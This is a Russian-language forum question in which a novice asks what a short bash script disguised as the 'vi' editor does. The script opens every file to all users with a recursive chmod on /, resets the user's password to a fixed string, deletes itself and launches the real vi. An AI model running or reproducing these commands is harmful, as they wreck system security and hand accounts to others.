Я очень невежественный новичок, когда дело доходит до сценариев оболочки, но я должен быть в состоянии объяснить, что делают эти строки кода, и у меня недостаточно времени, чтобы сначала ознакомиться с ним, так что я не могу дать много ввода.
В качестве дополнительной информации сам скрипт называется vi, как и редактор, и, вероятно, вреден / надеется запустить его как администратор
#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!
Я думаю, что идея в том, что кто-то пытается запустить настоящий vi (а не этот скрипт), а затем он случайно вызывает этот скрипт - он изменяет пароль текущего пользователя на вывод команды echo (не уверен, что это ), а затем оболочка удаляет себя и вызывает редактор, поэтому мы ничего не понимаем.
Огромное спасибо за любой ответ заранее и извините за то, что вы так невежественны.